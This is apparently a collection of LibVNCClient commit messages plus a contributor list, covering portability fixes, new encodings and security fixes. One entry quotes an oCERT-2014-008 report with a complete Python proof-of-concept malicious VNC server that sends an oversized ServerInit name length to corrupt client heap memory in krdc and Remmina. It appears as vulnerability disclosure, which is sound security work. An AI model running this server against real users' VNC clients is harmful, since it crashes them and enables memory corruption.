Altough rfbproto.c does check whether the overall FramebufferUpdate rectangle is
too large, some of the individual encoding decoders do not, which allows a
malicious server to overwrite parts of the heap.
OS X RealVNC server crashes out Remmina because the server can provoke
bytesPerLine to be zero. Assume this is coding for zero lines.
The condition could be checked before the calculation of bytesPerLine.
I don’t understand the preconditions of this code to say one way or the
other.
https://www.gnupg.org/documentation/manuals/gcrypt/Initializing-the-library.html
"Before the library can be used, it must initialize itself.
This is achieved by invoking the function gcry_check_version"
Closes issue #45
Tested with krdc + libgcrypt 1.6.1 (libgcrypt20-dev Ubunutu package)
connecting to a Mac Mini.
Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
This fixes the following oCERT report (oCERT-2014-008 pt.2):
There is a similar vulnerability to the previous one I sent. This is related to the ServerInit message where the width, the height of the server's framebuffer, its pixel format, and the name are sent to the client. The name can be used in a malicious manner to trigger a memory corruption in the client.
Field Size
---------------------------------
name-length [4]
name-string [name-length]
Below you will find a PoC script to show the vulnerability. This was tested on Fedora 20 with the latest version of krdc.
I have noticed something, where the memory corruption causes the program to hang but allows you to try to disconnect. After this it hangs. Occasionally there will be segmentation fault in memcpy. This can become more reliable if you connect to a different VNC server first (Or the wrong port on the malicious server) then connecting to the malicious port. Every time I accidentally made the wrong VNC connection attempt the next time I connected it segfault'd.
Just run the script it will listen on port 5900 and connect to it with krdc for example. I have observed Remmina crash more reliably.
import socket,struct,sys
HOST = ""
PORT = 5900
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.bind((HOST,PORT))
c.listen(1)
conn,addr = c.accept()
print "Connected by ", addr
protocolVersion3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
conn.send(protocolVersion3008)
data = conn.recv(1024) # Receive the version from them.
secTypeNone = "\x01\x01"
secTypeAuth = "\x01\x02"
conn.send(secTypeNone)
data = conn.recv(1024) # Receive the secType choice from them.
secResultOk = "\x00" * 4
secResultNo = "\x00\x00\x00\x01"
conn.send(secResultOk)
data = conn.recv(1024) # Receive the ClientInit (Shared-flag).
frameBufferWidth = 0x0480
frameBufferHeight = 0x0360
bitsPerPixel = 0x20
depth = 0x18
bigEndian = 0x1
trueColor = 0x0
redM = 0x0
greenM = 0x0
blueM = 0x0
redS = 0x0
greenS = 0x0
blueS = 0x0
padding = "\x00\x00\x00"
nameLength = 0xffffffff
nameString = "AA" * 0xFFFF + "\x00\x0a"
conn.send( struct.pack(">HHBBBBHHHBBB",frameBufferWidth, frameBufferHeight, bitsPerPixel, depth, bigEndian, trueColor, redM, greenM, blueM, redS, greenS, blueS) + padding + struct.pack(">I", nameLength) + nameString )
c.close()
In Microsoft's Visual C runtime, the snprintf() function is actually
called _snprintf. Let's just #define the former to call the latter.
[JES: fixed commit message]
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
If MallocFrameBuffer() returns FALSE, frame buffer pointer is left to
NULL. Subsequent writes into that buffer could lead to memory
corruption, or even arbitrary code execution.
This patch implements support in LibVNCClient for framebuffer updates
encoded as H.264 frames. Hardware accelerated decoding is performed
using VA API.
This is experimental support to let the community explore the possibilities
offered by the potential bandwidth and latency reductions that H.264 encoding
allows. This may be particularly useful for use cases such as online gaming,
hosted desktops, hosted set top boxes...
This patch only provides the client side support and is meant to be used
with corresponding server-side support, as provided by an upcoming patch for
qemu ui/vnc module (to view the display of a virtual machine executing under
QEMU).
With this H.264-based encoding, if multiple framebuffer update messages
are generated for a single server framebuffer modification, the H.264
frame data is sent only with the first update message. Subsequent update
framebuffer messages will contain only the coordinates and size of the
additional updated regions.
Instructions/Requirements:
* The patch should be applied on top of the previous patch I submitted with
minor enhancements to the gtkvncviewer application:
http://sourceforge.net/mailarchive/message.php?msg_id=30323804
* Currently only works with libva 1.0: use branch "v1.0-branch" for libva and
intel-driver. Those can be built as follows:
cd libva
git checkout v1.0-branch
./autogen.sh
make
sudo make install
cd ..
git clone git://anongit.freedesktop.org/vaapi/intel-driver
cd intel-driver
git checkout v1.0-branch
./autogen.sh
make
sudo make install
Signed-off-by: David Verbeiren <david.verbeiren@intel.com>
The current definitions were mostly useful to glibc and followed its
feature_test_macros(3) documentation.
However, this means other platforms still had problems when building with
strict compilation flags. _BSD_SOURCE, for example, is only recognized by
glibc, and other platforms sometimes need _XOPEN_SOURCE instead, or even the
removal of some definitions (such as the outdate _POSIX_SOURCE one).
_POSIX_SOURCE also had to be conditionally defined in some places, as what
it enables or disables during compilation varies across systems.
No functional changes. All files used by _both_ libvncserver and
libvncclient are put into a 'common' directory and references
from other files as well as Autotools and CMake build systems are
updated.
Signed-off-by: Christian Beier <dontmind@freeshell.org>
This implements the xvp VNC extension, which is described in the
community version of the RFB protocol:
http://tigervnc.sourceforge.net/cgi-bin/rfbproto
It is also mentioned in the official RFB protocol.
Redefining strncasecmp to _strnicmp makes libvncclient hang forever in
SetFormatAndEncodings() on Windows when built with MinGW64.
Reported by Tobias Doerffel <tobias.doerffel@gmail.com>, thanks!
This enables setting the DSCP/Traffic Class field of IP/IPv6 packets
sent by a client. For example starting a client with -qosdscp 184
marks all outgoing traffic for expedited forwarding.
Implementation for Win32 is still a TODO, though. See
http://betelco.blogspot.com/2009/03/dscp-marking-under-windows-at.html
for an overview of the Win32 QoS API mess...
MinGW32 (or more exactly, a rpcndr.h file included by
winsock2.h) typedefs a 'boolean' type that jmorecfg.h
included by jpeglib.h also tries to typedef.
So, tell the jpeg headers.
Closes: 3007302
[jes: pulled the "host" declarations into the conditionally compiled
blocks where that variable is used. Also fixed non-IPv6 connections.]
Signed-off-by: Vic Lee <llyzs@163.com>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
[jes: adjusted coding style, made sure port is initialized correctly]
Signed-off-by: Vic Lee <llyzs@163.com>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
It seems that vino does not send AuthOK when there is no password with
anonymous TLS, and it seems that vino is the only <3.8 VNC server that
handles anonymous TLS at all, so let's not wait for the packet that will
never come.
Signed-off-by: Vic Lee <llyzs@163.com>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
To make this work, we also have to initialize sockets
to a default value of -1.
Also close a client listen socket if it's open.
Signed-off-by: Christian Beier <dontmind@freeshell.org>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
When working on a program which searches the display for some image, one
does not want to search again without getting an FB update. Add a
callback to make this possible.
SOCKET is redefined in winsock2.h so #undef it where winsock2.h
is included. The changes in rfbproto.c circumvent crosscompiler
errors like 'S_IFMT' undeclared ...', the Makefile.am changes
avoid building linux specific stuff for a win32 host target.
Also added configure option to specify sdl-config.
Signed-off-by: Christian Beier <dontmind@freeshell.org>
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
This is a pure functionality fix: according to its manpage, stat()
returns 0 on success. Checking for a return value of zero fixes
incorrect results of IsUnixSocket().
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
Christian Beier
Josef Gajdusek
zbierak
Norrec
SpaceOne
Jay Carlson
Floris Bos
Daniel Cohen Gindi
Johannes Schindelin
newsoft
Matthias Treydte
David Verbeiren
Raphael Kubo da Costa
Monkey
Vic Lee
runge
Alexander Dorokhine